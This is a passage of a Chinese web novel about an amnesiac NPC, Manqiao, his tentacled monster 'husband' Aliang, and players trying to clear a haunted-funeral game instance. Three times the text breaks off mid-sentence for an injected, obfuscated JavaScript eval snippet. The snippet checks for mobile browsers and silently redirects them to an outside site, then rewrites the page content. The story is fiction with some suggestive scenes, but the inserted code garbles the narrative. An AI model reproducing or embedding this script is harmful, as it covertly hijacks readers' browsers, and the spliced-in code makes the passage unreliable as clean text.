本质上,怪物的身体没有任何形状,它可以无限延展,无论是触手还是人型,都是他变换的形态。 甚至说,怪物现在只是笨笨的。 如果再给它一些时间,教它一点东西,满桥相信他很快就能学会如何伪装成一个与正常人一般无二的人类模样。 怪物学东西向来很快。 满桥的睫毛轻颤,因为身上没什么章法的抚摸被卡在一种微妙的境地。 快感像在人鼻尖扫来扫去的狗尾巴草,让人觉得一个喷嚏要打不打。 满桥本能地轻微蜷缩身体,大腿的衣料摩擦发出细碎的声响。 触手缓慢向下,终于在满桥的左心口停下。 盘踞,覆盖,满桥的呼吸重了些。 “……怎么了?” 怪物沉默。 满桥耐心:“怎么了?” 怪物:“……呼呼。” 满桥:“喜欢我?” 怪物的电波再次对接满桥的大脑。 “呼呼,痛痛飞飞。” 满桥愣住。 它闻到了。 人在难过的时候,身上会发出有点发苦的气味,心脏跳动的频率和平时也不一样。 怪物暂时无法理解人类会因为疼痛之外的事。 所以它单纯地理解到,自己的“妻子”心脏疼痛。 满桥蜷缩起来,捧住了胸口的怪物。 “……嗯。” 痛痛飞飞。 关于自己的悲伤和难过,满桥已经不解了很长时间。 他明明见惯了血腥和死亡。 满桥是没有过去的,他对自己从何而来,为何在螺旋工作没有任何印象。 从他觉醒了自我开始,他就走投无路地扮演各种副本的NPC。 事实上,他也很少觉得这是奇怪的事。 满桥潜意识知道自己到底为什么在这,或许这甚至是满桥自己选择的因果。 只是他忘了。 满桥闭上眼睛,昨晚没休息好的疲倦涌上。 就好像他忘了,为什么自己对年纪小的姑娘多点怜爱。 满桥:“我还是不能知道你的名字吗?” 原本活跃的触手瞬间萎靡,又好像不忍看到自己的妻子伤心,于是扭来扭去。 虽然没有声音对接到满桥脑海中,但满桥无端看懂了怪物的示好。 满桥:“不能告诉我?” 怪物扭扭。 满桥:“不愿意告诉我?” 怪物迟疑片刻,动作很小地扭扭。 满桥:“看不懂了。” 面前的触手急了,一下子扑到满桥怀里,激的满桥颤抖,眼尾染上殷红。 满桥:“不许闹了……” 他无声叹气,闭上眼睛。 同事也有秘密。 满桥:“陪我睡一觉吧。” 窗外已经没了阳光的影子,乌云再次覆盖这院子,雨还会一直下的。 “等我们都睡醒了,我们去做饭。” = “现在情况不是已经很清楚了吗!” 北安一拍桌子,很快心有余悸般坐下,声音变小很多:“……一旦违反规矩就会死,想要完成老爷想要的葬礼只有好好遵守规矩。” 还活着的玩家齐聚一堂,孟鸠心不在焉,心里惦记着自己被满桥拒绝跟随。 “……就这样确定守规矩是我们能走的路吗?” 另一个女生不赞同,她留着大波浪长发,虽然是素颜但仍能看出这是以为明艳的美女。 北安:“还不明显吗——我已经打听清楚了,扮演李裁缝学徒的那个人,是因为朝满老师示好死的,这不就是因为不能谈情说爱吗?” “这么绝对?” 说来荒谬,这竟然是新丧副本开始后玩家们第二次有机会集中聊天。 第一天他们唯一的集中聊天机会因为以为玩家的草草死亡结束,当晚,每个玩家身边都环绕NPC,完全失去了对接信息的机会。 提出反对意见的女人缓了缓语气,“……先自我介绍一下好了,你可以叫我中钰。” 北安沉默几秒。 “……你名字还挺好听的。” 原本正在争论的气氛因为这句莫名其妙的夸奖有所缓解,中钰脑子烧了一下,慢半拍开口:“……谢谢,你的名字也很好听。” 北安移开了视线。 “……我也很喜欢我的名字。” 但言归正传。 “大姐和兰花早就提醒过我们了,不遵守规则会出事,而且除了那个学徒,那天和我们吵架的人,不也是犯了不能争执的规矩才死的吗?” 中钰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533425|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你的说法的确有道理,但如果规则真是这样,我们恐怕只能等死了吧?” 北安:“什么意思?” 中钰:“副……” 北安不耐烦地开口打断:“你就告诉我,守规矩的是不是才老爷想要的葬礼?” 中钰:“……或许。” 北安冷哼。 一直沉默的另一个男生神色动摇,“……可是现在规矩不是已经被破坏了吗?” 别的不说,躲钉仪式混乱成那个样子…… 中钰:“就算不提今天早上,昨天的小殓仪式,一进门,老爷的遗体就脚正对着门,就没见过谁家办丧事让老人家脚对门的。更别说老爷当时的灵床上少了多少东西——鸡鸣枕、长明灯……” 北安:“那一般做仪式还不让大笑呢,你看看今天发生了什么?” 众人沉默。 北安继续开口:“这说明孟家的规矩可能和我们世俗理解的规矩不一样,但今天都有人提示我们了,我们只要跟着他们的提示做,就不会坏了规矩。” 中钰皱眉:“就算是这样,小殓仪式那天大姐唱的歌杂糅了传统丧仪的正常流程和禁忌,但大姐两种规矩实际上一个都没做……” 北安再次打断:“大姐是掌家的,她少做一点怎么了?” 北安长舒一口气:“况且,这才是老爷死了的第二天,要办葬礼——正式的葬礼,要么第三天,要么第五天,要么第七天,我们的时间还很宽裕,你怎么就知道坏了的规矩不能弥补呢?” 孟鸠:“荒谬。” 气氛瞬间剑拔弩张起来。 孟鸠懒得给北安眼神,直接开口:“满桥有一个没出头七的死老公——也是我的大哥。” 北安差点没绷住开口骂人。 孟鸠:“又没说是谁想要的葬礼,既然现在老爷想要的葬礼争议那么大,那我去办我大哥想要的葬礼不就好了?” 中钰眼前一亮。 北安:“不行!” 孟鸠:“凭什么?” 北安:“我们给老爷办了这么久了,你说换人就换人?” 孟鸠:“我就换,怎样?” 北安:“你怎么知道大少爷想要的葬礼不会和老爷想要的冲突,到时候你死都不知道怎么死的!” 沉默。 孟鸠冷笑:“……对啊。” 北安:“……?” 孟鸠:“我就找死,我就办,你管我?” 讨论陷入了僵局。 孟鸠起身:“我要去找我亲爱的嫂子问问我大哥的事了,你们就在这死磕我爹吧,不奉陪。” 中钰:“等等。” 她看了一眼北安,还是转头跟上孟鸠:“我和你一起。” 一直不敢说话的另一个玩家张了张嘴,最后还是选择停在原地。 两个选择摆在了玩家面前。 虽然孟鸠猛地提出的副本通关方案很有冲击力,但是此前大家一直在为完成孟老爷想要的葬礼而努力,现在要改变…… ……其实北安说的很有道理。 有些玩家忍不住想—— 守规矩,总会比现在去探索未知容易一点。 北安:“愿意相信他的就跟他走好了,看看是他跟能让你们得到那500币,还是我的说法更有道理。” 中钰皱眉:“这不是赌气的时候,难道两个方案就不能都……” 北安:“快点决定吧。” 拒绝交流。 玩家们神色各异,半晌又有一个人站起跟上了孟鸠他们。 北安别过头,不再挽留。 偌大的宅子中玩家兵分两路,中钰三两步跟上孟鸠,“我们接下来做什么?” 孟鸠:“嗯……做什么呢?” 他转头,看向中钰。 “先对一下消息?” 12. 新丧(11) “打扰我午休……” 满桥撑着脑袋,红发披下,刚睡醒尚未整理的发丝散落在满桥的肩头。 顺着顾淼的视角,面前的人和一尊精修雕刻的艺术品雕塑没有什么区别,满桥已经换下了早上正式的白衬衫和小马甲,只穿了一身真丝的睡衣。 满桥只是随意地靠在房内的美人塌上,反光的绸缎披在比绸缎的材质看起来更昂贵的肌肤,这种材质从视觉就让人觉得轻薄又凉快,因为过好的垂落感能隐约看出面料下包裹的,满桥肌肉的线条。 “怎么不说话?” 满桥半抬眼睛,“我刚睡着不久就被你吵醒,不觉得你很过分吗?” 顾淼:“……抱歉。” 抱歉,刚刚看走神了。 一丝不苟的管家离满桥不远,并且有越来越近的趋势。 “您的屋头有小厨房,但似乎没见过您做饭。” 满桥缓慢眨眼。 “怎么?” 顾淼:“只是有些好奇,也不知道谁能有幸品尝到满老师亲手烹饪的佳肴。” 满桥:“……嗯,你不是知道谁能品尝到吗?” 顾淼的眉头一跳。 他没有问过满桥这个问题——至少在这一次副本重启后没有问过,但满桥却说他知道。 他靠近了满桥,单膝跪下,满桥不客气地将小腿搭在顾淼膝盖上。 满桥一只手撑着脑袋,另一只手抬起去拿桌上切好的果盘,手肘几乎擦过顾淼的额头,真丝睡衣在顾淼的面前晃荡,从满桥有些空荡荡的袖管中,飘出来一阵勾人的花香。 顾淼喉结上下滚动一次。 “您刚洗漱过?” 满桥:“是啊,你闻到了?” 顾淼:“我……” 满桥:“香吗?” 顾淼沉默,满桥的笑声溢出。 “看来是很香。” 他扔了一瓣橘子,顾淼本能张嘴接住。 满桥挑眉:“赏你的。” 酸甜。 顾淼:“……谢谢您。” 满桥坐在那就好像给空气打了春药,和美人共处一室,难有保持冷静自持的。 顾淼:“您只做饭给大少爷吃。” 满桥没有回答,嚼碎了嘴里的苹果。 顾淼:“您最爱吃肉包子,纯肉馅。” 满桥挑眉。 顾淼:“您的丈夫也爱吃。” 满桥终于给了顾淼一个眼神。 满桥:“所以呢?” 顾淼抬头,属于管家的神情第一次从他的脸上撤下,“这不是我现在该知道的。” 满桥依然撑着脑袋看顾淼,好像他面前的人不是一个比他高出一个头的健硕男性,而是一个恬不知耻向满桥祈求糖果的孩子。 顾淼可以看到满桥的锁骨,恰到好处地下沉,恰到好处的阴影,可以看到满桥转头时在洁白脖颈上拉扯出的筋络,再向上,唇瓣、鼻头,看到满桥的睫毛在下眼睑投射出一小片阴影。 他示弱,向面前披散着红发的美人示弱,承接满桥双腿的重量,将下巴凑近满桥的指尖。 “但您问我了,您觉得我可以带您离开了吗?” 这几乎是一个自曝的发言。 顾淼几乎在确认——我是一个玩家,你是一个数据异常的NPC。 我想通关这个游戏。 我不仅想要通关,我还想要再见到你。 满桥还是不说话。 顾淼:“满老师,您在拖时间。” 顾淼可以有很多种比喻形容满桥,但如果一定要选一种最恰当的,顾淼还是会选择—— “满老师,您真的是一束花吗?” 满桥纡尊降贵飘过来一个眼神。 顾淼:“您是一束花?一束能被野蛮人随便采摘的花?” 他笑了,这一刻眼睛里只有满桥熠熠生辉。 “您是一轮月亮吧。” 朝夕交替,月亮始终遵循规则,绝不行差踏错。 不可触碰,不可不敬,甚至不可议论。 那么漂亮,那么无私地播撒光辉。 让人爱恋,让人畏惧。 顾淼:“如果他可以——那么,我也能求你的爱吗?” 阴影翻滚,顾淼暂时没有机会听到满桥的答案了—— “走水了!” 屋外传来第一声惊呼,声音尖利,几乎听不出是谁在宣告这个消息。 混乱随之而来,火烧木头的声音好像瞬间被按了最大音量键,不知道多少人在外面奔波。 顾淼有些可惜,他捧起满桥的手,轻吻满桥的还带着果香的指尖。 “您拖时间成功了。” 午时三刻。 灵堂起火。 顾淼:“如果这次副本失败,或许您不会再见到我。” 满桥终于忍不住笑了。 这是演都不演了。 “我想知道——是什么让你决定坦诚相待。” 顾淼:“是您。” 火焰的热量和气温迅速蔓延,哪怕满桥的房间和灵堂有一段距离,两人依旧闻到了烧焦的气味。 一切正在迅速碳化。 顾淼:“您给了我一点暗示,给我一点勇气,而且——” 管家的伪装彻底消失,墨绿色的眼睛再不经任何刻意闪躲的情况下像一块昂贵的宝石。 顾淼:“要是我这次死了,不就再也不能见了吗——满桥?” 满桥:“你分明有目的,不择手段。” 顾淼:“我当然有,但不是完全不择手段。” 满桥:“是吗?” 顾淼:“我想带你走,不止因为我的目的,也因为我的私心。” 满桥:“因为你爱我?” 顾淼:“因为我说不清我爱不爱你。” 这是一个太特别的玩家。 至少满桥没有见过的别的玩家能和自己一样再副本中轮转。 重启的七次副本,满桥自己都分不清自己在顾淼面前扮演什么角色。 好像镜花水月中映射的另一个母亲,引导这位难得特别又聪明的玩家探索,释放一些信息,帮一下小忙。 好像一个守在夜色最浓时候的艳鬼,引诱玩家的欲望和真心。 顾淼从一开始就抱着目的进入副本,而自己对顾淼的试探也绝不是毫无所图。 顾淼:“满桥,你也不想这样困死在这个老宅——第三次重启的时候……” 顾淼在满桥审视的眼神中闭上嘴,露出一个示弱的笑。 满桥回想起他第一次见到顾淼的时候。 一双没那么游刃有余的眼睛。 顾淼:“我的下贱、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533426|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲望、爱意,您都收获了。” 他小心地将满桥的腿从自己膝盖上放下,火势已经蔓延到满桥屋头门口。 顾淼:“接下来,我想听您的故事。” 狡猾。 充满秘密的玩家,用自己不值钱的感情,想换真实的情报。 但是满桥不讨厌。 他拉住顾淼的领子,凑近。 “只要我的丈夫想吃——我就会蒸一笼肉包子。” “但是……” 满桥大发慈悲,给出最大程度的提示:“我可不知道……我丈夫想要的葬礼,只要一笼肉包子,我一直以为我丈夫是个贪心的人……他想要的东西不好满足呢。” 两双眼睛交汇,满桥深吸一口气。 “……如果可以,我当然也希望……” 副本通关。 满桥:“……算了。” 满桥松开顾淼的衣领:“其实我也有想做的事,你知道那是什么,对吧?” 墨绿色眼睛有些惊讶地睁大,他的大脑飞速运转,但来不及问出更多信息,高温已经接近。 满桥话音刚落地,火焰就拍上房门,本就不结实的门发出乱叫,两人脚下的阴影翻涌。 明明满桥诶屋子和灵堂有一定距离,就两句话的时间,火势却不容拒绝地淹没这里。 几乎瞬间,黑色如同浪潮一样冲破某种限制,波涛汹涌的黑色影子席卷满桥,顾淼下意识伸手去抓—— “吼——” 顾淼的手臂差点被斩断,如果不是他用防护道具用的够快,他应该能体验一下独臂大侠的剧本。 ……好强。 顾淼清楚自己用的是中级防护道具,用在一个低级副本中算的上奢侈了,但应对怪物刚刚连平A都算不上的一击,竟然让他差点脱臼。 满桥消失,被黑色的海浪带走,顾淼忍痛起身。 ……老宅几座固定的房间,最后一定会烧个一干二净 他还有一件事要做。 漂亮的紫罗兰仍摆在台面上,似乎感受到即将席卷的高温,花瓣有些萎靡。 顾淼小心地将紫罗兰收好,最后看了一眼满桥消失的地方。 ……忍不住。 在火舌席卷前最后一秒,他两步上前,捡走了满桥遗落在榻上的发丝。 ……好香。 现在是副本进行的第二天。 顾淼的身影消失,下一秒,火焰彻底霸占这间狭小的空间,烧焦的气味驱逐满桥屋子独有的香味。 现在是副本进行的第二天。 “孟老爷死了的第二天。” 孟鸠看向远处滚滚升起的黑烟,从位置判断出满桥的房间受到波及。 “孟家长子——孟良,死了的第五天。” 【各位玩家请注意。】 副本播报慢半拍地开始工作,声音一如往常,卡顿又刻板。 【各位玩家请注意,副本BOSS孟良,已经苏醒。】 “副本BOSS?” “今天不是才第二天吗?” “都死了多少人了——这不是个低级副本吗!” 【请诸位玩家谨慎游戏。】 孟鸠的眼睛好像被粘在了黑烟滚滚升起的地方,捏紧的手让他的指甲在手心留下了几个半月牙压痕。 【祝您游戏愉快。】 13. 新丧(12) “咳咳咳……” 怪物焦急地环绕满桥,摆动自己柔软的身体确保满桥用最不耗力气、最舒服的姿势靠在怪物身上,“呼呼……呼呼……” 有点拙劣的安慰。 细小的触手顺着满桥衣料的开口滑进满桥的身体,怪物在满桥肌肤上摊平,几乎成为一种裹着满桥的薄膜。 除了满桥不允许它探索的私密地位和需要呼吸的头部,怪物几乎瞬间完成了对满桥身体的全覆盖,它敏锐地感知满桥每一下咳嗽和呼吸,像一个学艺不精的幼师安慰满桥。 “呼呼……” 满桥:“……别蹭……” 怪物的包裹对人类来说太过色情,一般来说,没有人类会觉得这种包裹是一种柔情的抚慰。 大脑会相当自如地将过分的抚摸划分在暧昧的领域。 微妙的痒,软体触手滑动的每一寸位移,在满桥本就头昏眼花的当下变成迷离的助推器。 笨蛋怪物察觉了,并通过满桥身体的轻颤和心脏频率的变化将满桥的改变识别为快感。 满桥很舒服。 怪物的脑袋非常顺利得出结论。 妻子喜欢我这样的触碰。 满桥:…… 只是现在没力气。 不然一定让怪物知道大小王。 这个笨蛋。 扶着满桥瘫坐在美人的地方,怪物不舍得满桥的真丝睡衣碰到一点点脏污,于是干脆里里外外把满桥覆盖起来。 如果不是怪物的质感实在拉满了非人的情色要素,满桥真的会以为自己被什么棉被裹住了。 缓缓神。 怪物用最温和的脑电波向满桥的大脑传送频率,试图抚慰人类那些精密又脆弱的脑神经。 “呼呼……呼呼……” 痛痛飞飞,不舒服飞飞。 满桥从脑子里大致得到这两个消息。 他有点想笑,也确实笑了。 “……傻瓜。” “呼呼……呼呼……” 负面刺激逐渐退潮,满桥身上没什么力气,他拍拍还赖在自己肌肤上的怪物,“下去。” 怪物恋恋不舍。 在满桥第二次开口勒令前,怪物终于行动,只是触手离开身体也是一个过程。 全身都骤然被摩擦的苦楚,只有满桥自己体会了。 红发美人发出闷哼,身体彻底软倒,他有气无力地踹了下怪物,得到怪物软体枝干柔软的承接。 “不、学、好。” 满桥咬牙切齿。 怪物不懂,怪物心虚,怪物讨好。 谁家副本BOSS把触手甩成狗尾巴样子。 可怪物接下来做的事又让好不容易才勉强平息的水面大乱。 ‘你难受了,他坏。’ 属于怪物的声音在脑海中直接响起,在满桥身体本身已经很敏感的情况下激的满桥差点痉挛。 ‘满桥,你怎么……’ “闭嘴!” 大腿微微颤抖。 平时怪物很少直接在满桥脑子里说话,它一般都是直接向满桥传达某种信息,就像罗斯电码,不需要在满桥脑子里开口。 所以满桥才知道,怪物直接在自己脑子里说话的时候,这种……好像有人贴近你的后脑勺,然后攀附到你耳边轻语的效果。 可惜满桥不知道有种助眠叫做ASMR。 不然他应该可以更明确地描述自己的感觉。 满桥:“……不要,不要这样说话。” 怪物不敢动了。 以他对人类身体的了解,满桥应该不难受的。 为什么又不高兴呢? 满桥缓几口气,声音终于基本回到往日轻飘飘的感觉:“……有没有,不在我脑子里说话的办法。” 怪物沉默,怪物思考。 怪物理解了! 太刺激了。 对人类,这种舒服太刺激了。 笨蛋怪物终于理解了一次满桥的意思,它开始思考,半晌—— ‘这样呢?’ 满桥松了口气。 本质上,怪物还是在他脑子里说话,依然有微妙的酥麻在满桥耳边绕着,但总算没有刚刚那样夸张。 解决了问题,满桥心里无名火起。 正事还没处理,自己就被坏触手折腾地腿软。 他心里有点不爽,又有点微妙的劫后余生。 还好它不懂。 怪物的设置实在是超出人类可以承受范围的色情。 还好我的怪物不懂。 满桥揉揉自己的大腿。 不然真是…… 要完蛋了。 ‘满桥刚刚,难受,怎么了?’ 怪物的声音重新拉回了满桥的注意力,他不高兴,于是抓住面前疯狂讨好的触手尾巴,捏捏。 其实怪物的声音出乎满桥意料,他本来以为怪物的声音会是不让人舒服的。 实际上,听起来是个有点呆呆的男青年。 ‘……满桥不要这样。’ 满桥:“为什么?” 怪物扭捏:‘怪怪的。’ 满桥:…… 算了,和小傻子计较什么。 满桥:“你能感觉到我不舒服?” 没有回答,触手只是绕上了满桥的手腕,好像有点心疼。 ‘他们,坏,让满桥不舒服。’ 满桥花了几秒思考他们是谁。 ……是玩家吧。 自己越过剧情应该发展的进度给顾淼给了提示,所以受到了螺旋的惩罚。 感觉的确不太好受,但也只是疼一下而已。 真正让满桥头晕眼花的是…… “阿良。” 这个名字像某种开关,支撑满桥身体的怪物瞬间不再平静,它差点弹跳起来,幸好他还记得满桥靠在他身上。 怪物这下真的是被抓住尾巴的猫了,它不安地波动身体,连带着满桥都坐的不那么舒服。 满桥:“……坏。” 怪物——现在或许应该叫它阿良,极其抗拒被满桥评价为坏,于是又努力平静下来。 “……呼呼。” 好委屈。 ‘我不坏。’ 满桥:“……怎么这么可怜。” 阿良沉默几秒,在这几秒中它不怎么擅长思考的大脑迅速得出了一个结论—— 满桥没有真的觉得它不好。 于是阿良立刻哼哼唧唧钻进满桥怀里,试图从满桥不公正的评价中多收获一点好处。 满桥:“阿良,别闹。” 这个名字还是满桥通过系统提示音获得的。 孟良。 NPC们的姓名不会根据副本转变发生变化,只有姓氏才可能因为副本的情况发生变化。 孟这个姓氏显然是孟鸠的,那么留给怪物的名字就只剩下一个“良”。 阿良。 满桥的脑子就这样无端地冒出一个名字,太顺理成章,顺理成章一直持续到满桥轻轻念出这个名字后袭击大脑的头晕目眩。 在名字念出的瞬间,满桥在脑海中看到一片贫瘠的土地,一地鲜血,其他什么都不是。 是幻觉吗。 至少满桥的记忆中,他从来没见过这样一个场景。 任何一个副本也没有过。 除了副本呢? 满桥捧起一滩阿良,“我是谁?” 阿良有点疑惑:‘你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533427|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是满桥。’ 满桥:“那么你呢?我们认识吗?” 阿良:‘……’ 阿良不知道该怎么回答这个问题。 满桥:“你还不能告诉我这件事?” 阿良:‘……我……’ 满桥:“你暂时不想让我知道?” 阿良不说话。 满桥:“……那至少我们以前认识,对吧?” ‘满桥,满桥。’ 没有正面回应,但有时候没有回应恰恰是一种回应。 满桥放下了阿良,他不想在没有结果的领域思考太久。 他已经因为阿良在这里耽误了太久。 “阿良,他们发展到哪里了?” 满桥试图站起身,但是身下的触手强硬卷住满桥纤细的腰,将满桥扯了回来。 ‘没有鞋,脏脏,坐着。’ 阿良自己天天在地上乱窜,居然知道不要让满桥脏了脚。 阿良:‘大姐不见,灵堂起火,北安,要杀人。’ 简短的信息组合,满桥推测身下的怪物对人类的语言还不是那么熟练。 他鼓励性质摸了摸阿良的身体。 阿良是副本BOSS,它可以随时随地视监玩家那边发展到什么地步。 根据满桥的经验,说实话那边发展的不太妙。 满桥希望他给顾淼的提示能让他意识到什么。 最好意识到什么。 比如说…… “宅子里的活人越来越少了。” 阿良不开心听到这话,他绕着满桥的脚腕。 满桥:“本来就是,至少现在我们都是死人,对吧?” 阿良:‘满桥,活。’ 满桥:“……行。” 满桥长舒一口气。 “阿良想要什么样的葬礼?” 阿良沉默。 满桥:“……我就知道。” 阿良是偷溜进来当BOSS的。 满桥:“上一个BOSS没了,让你钻了空子。” 阿良紧急撒娇。 满桥:“我没有怪你。” 你给了我一个机会。 但这的确给副本通关提供了难度。 作为副本的工作人员,NPC实际上并不比玩家们多出什么权限。 每当NPC进入一个副本,螺旋就好像插入U盘一样将NPC的扮演信息插入到NPC的脑子里。 大多数NPC会被裹挟而来的信息瞬间洗脑,真心实意地认可自己就是记忆中那个人。 沉浸式扮演,NPC只知道自己的故事,不知道其他任何信息。 被洗脑的NPC会忘记自己是谁,忘记自己的曾经。 满桥认为自己曾经也是一个被洗脑成功的家伙。 否则不能解释为什么他记忆的起点就是在螺旋打工。 言归正传。 正因为NPC可以被洗脑,他们才按照正常的逻辑演绎副本,给玩家们提供可能的通关途径。 尤其是,对于新丧这种主题叫做“他想要的葬礼”的副本,通关方式和NPC的实际想法实在是高度相关。 换一个BOSS,看起来没什么,但之前的通关方式却会被完全推翻。 比如说,没换人之前,只要给BOSS一笼满桥亲手做的包子,再把老宅的剩下半边也烧掉,就能够达成原本副本BOSS想要的葬礼。 可是阿良根本不想要这些。 阿良甚至不发自内心认可自己需要一个葬礼。 所以满桥必须改变策略。 他扯了扯阿良,“带我换身衣服。” 阿良疑惑。 满桥:“我要……给新丧改个剧本。” 14.新丧(13) 恐怖副本这个名字,会让人不可避免地忽视太多东西。 老宅建筑诡异,南北方交错又完全不合理? 正常,都是恐怖副本了。 老宅中久久不见太阳,阴雨连绵? 正常,恐怖副本需要塑造氛围罢了。 老宅中NPC行迹诡异,在躲钉仪式上齐声高呼违反常理? 正常。 正常,正常,都说了这是恐怖副本了。 你进入这种无线游戏游玩,难道连这点都不能接受吗? 孟鸠折断了手里的树枝。 “必须把放火的人找出来!” 兰花还在高声强调。 “一把火烧了孟家半座房子,现在好了,大姐不见了,满老师人也不见,半边屋子都成了焦炭,你们——” 兰花的手指一个个指过玩家的脑袋。 “都是你们不守规矩,不好好给老爷守灵,不然怎么会让人钻了空子火烧灵堂!” 满桥来听到的第一句话就是兰花的斥责。 他换了一身衣服,白色纱质,只有腰上金色的流苏腰链紧扣出满桥纤细的腰线。 像古希腊虚无缥缈的神。 衣料拢在满桥身上,隐约能在满桥抬手时看到衣料自然垂下勾勒出的身体轮廓,甚至能窥伺到一点满桥手肘的颜色。 亮白,稍微泛红。 满桥坐在阿良身上,飘在天上。 阿良:‘要下去吗?’ 满桥低头,披散的红发掉落在阿良身上,这只摸不清底牌的怪物似乎因此有点痒,但又实在舍不得远离满桥的发丝。 “先看看。” 兰花的斥责很有效,至少她话音落地,现场跟随北安留在灵堂守灵的几人就隐晦地将眼神投向孟鸠三人。 北安:“我早就说了要好好守灵……” 孟鸠:“这么多人守灵,也没见你们阻止火灾啊。” 他声音不像平时一样吊儿郎当,看样子还在发呆。 兰花:“那要是大家都好好来守灵,不就少一点被人钻空子的机会……” 孟鸠没说话,自顾自从口袋中掏出一条丝巾缠在手腕上。 满桥:…… 身下的怪物不安分起来,它看出了那条丝巾是满桥的。 ……这小子,他不是让孟鸠在午时前把自己的衣服还回来吗。 趁着自己开恩给他搜查的机会,偷自己嫂子的丝巾,不害臊。 满桥拍拍身下依然有点愤怒的阿良,“没事。” 至少这个混蛋没偷更多东西。 出于对孟鸠人品的不信任,满桥某个瞬间真的以为孟鸠会偷他的内裤。 兰花:“……你听没听到我说话,我……” 孟鸠:“那就是你们烧的呗。” 兰花:“什么?” 孟鸠笑起来,摆足了不怕死的架势。 “我们三个在火灾发生时正在往满老师房间走,现在满老师人都没了,也没人能给我们作证咯。” 北安:“你说什么人没了,只是现在不见了!” 孟鸠:“你急什么。” 北安尴尬,她知道自己作为卧底不应该表现的这么激动。 孟鸠:“但我们是火灾后一炷香才到这的,身上脸上也都是黑灰,哪里有作案条件?” “那,那也不一定啊!” 终于有玩家忍不住开口。 他听出来了,孟鸠这是要把嫌疑栽赃在他们这些守灵的人身上! 可怜他们乖乖跟着副本的规矩走,最后下场难道比不守规矩的玩家还惨? 孟鸠:“我们身上脸上,还有我们来灵堂的时间和路线,哪个不是证据?烧灵堂和我们有什么关系?” 他巡视一圈。 “倒是不见了好几个人,说不定这些不见的人才是真凶,做贼心虚!” 满桥轻轻笑出声。 阿良疑惑,伸出一只触手拉住满桥的手腕。 “……又吃醋?阿良你是醋缸子吗?” 我只是觉得孟鸠好笑诶。 阿良不管,它是非常有占有欲的丈夫:‘孟鸠,坏。’ 满桥:“他的确不是什么好人。” 但是…… “他现在是弟弟。” 是家人。 满桥重复:“是家人,家人不一样的。” 阿良沉默,似乎不愿意承认这件事。 满桥:“大概情况我已经了解了,我们去……” “满桥。” 意料之外的声音在满桥背后响起,满桥吃惊回头。 顾淼。 阿良在听到声音的瞬间就发动了攻击,这次顾淼没有放松警惕,直接用上了高级道具。 触手的攻击砸在顾淼的防护上,发出令人牙酸的摩擦声音,阿良没有形态,但是在看到顾淼的瞬间竟然非常自然地凝聚出一副身高将近两米的人类形状。 只有人型的怪物像一座影子,轻而易举用它拟态的手臂端起满桥抱在怀里。 ‘坏人。’ 满桥伸手摸摸阿良拟态的脑袋。 “……阿良,乖。” 阿良真的是个很心机的小怪物。 在它和满桥独处的时候,阿良从来没有变成过这么高大的人型。 看到一米九的顾淼,阿良知道长高了。 十分心机地卡在比顾淼还高半个头的位置。 顾淼的眼神有点微妙。 他不知道副本BOSS平时人型什么样,但一见面就开打轻松让顾淼感受到了阿良的敌意。 满桥:“你为什么在这?” 顾淼:“在找您。” 满桥:“找我?做什么。” 顾淼:“您不能直接告诉一些信息,对吧?” 两双眼睛对视,满桥的黄金瞳像世间不可能存在的月亮,上下扫过顾淼。 “……听不懂哦。” 顾淼笑了。 听不懂,但是不否认。 这是满桥魔人顾淼可以想点办法从满桥身上套取情报的意思。 作为NPC满桥不能明目张胆地帮玩家通关,但是身为NPC被玩家问出消息可就太正常了。 顾淼:“孟老爷的葬礼已经不可能完成了。” 满桥:“我可没说过这话,你要非要这样想,我也没办法。” 顾淼:“孟良的葬礼也不大可能了。” 满桥:“这谁说的准呢,明天是我丈夫死后第七日,如果还有什么葬礼,也只能是明天了。” 顾淼点头,一束紫罗兰从他手中出现,像变戏法一样。 满桥垂下眼睛,抱着自己的高大怪物没有反应。 满桥:“……唉。” 阿良不解,但察觉到自己的举动应该是不对。 顾淼:“这是您丈夫送您的花。” 阿良:? 满桥硬生生在黑漆漆的阿良身上看到了一种迷茫和无措。 果然。 阿良是偷溜进来当BOSS的。 满桥不记得和阿良过去有什么故事,但是阿良记得,阿良像一只小狗一样,闻着味就悄悄来了。 狗狗祟祟。 顾淼神色沉了下来,知道心中的猜测恐怕是真的。 “在老宅之中,要办葬礼的是活人,帮办葬礼的才是死人。” 满桥玩弄手指的动作一停。 “你为什么这么想呢?” 顾淼:“孟家家大业大,绝不可能设计出老宅这样不通风水、格局奇怪的建筑,这样的建筑只可能是虚假的。” 满桥不说话。 这件事实际上已经非常明显了。 如果死的不是诸位NPC,那北安和兰花怎么能一边聊天一边把自己的眼珠子扣下来玩。 